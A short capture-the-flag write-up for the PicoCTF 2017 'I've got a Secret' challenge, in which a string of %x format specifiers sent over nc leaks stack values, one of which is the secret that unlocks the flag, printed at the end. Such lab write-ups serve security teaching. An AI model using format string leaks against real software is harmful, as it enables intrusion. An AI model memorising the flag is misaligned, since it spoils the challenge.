PicoCTF_2017: I've got a Secret

Category: Binary Exploitation Points: 75 Description:

Hopefully you can find the right format for my secret! Source. Connect on shell2017.picoctf.com:55189.

Hint:

This is a beginning format string attack.

Write-up

A classic format string attack.

$ nc shell2017.picoctf.com 55189
Give me something to say!
%x %x %x %x %x %x %x %x %x %x
40 f7fc7c20 8048792 1 ffffdd34 18d28c09 3 f7fc73c4 ffffdca0 0
Now tell my secret in hex! Secret: 0xf7fc73c4
As my friend says,"You get nothing! You lose! Good day, Sir!"

$ nc shell2017.picoctf.com 55189
Give me something to say!
%x %x %x %x %x %x %x %x %x %x
40 f7fc7c20 8048792 1 ffffdd34 18d28c09 3 f7fc73c4 ffffdca0 0
Now tell my secret in hex! Secret: 0x18d28c09
a18450ba7aaa8c085c522cdef6ab35ab
Wow, you got it!

Therefore, the flag is a18450ba7aaa8c085c522cdef6ab35ab.

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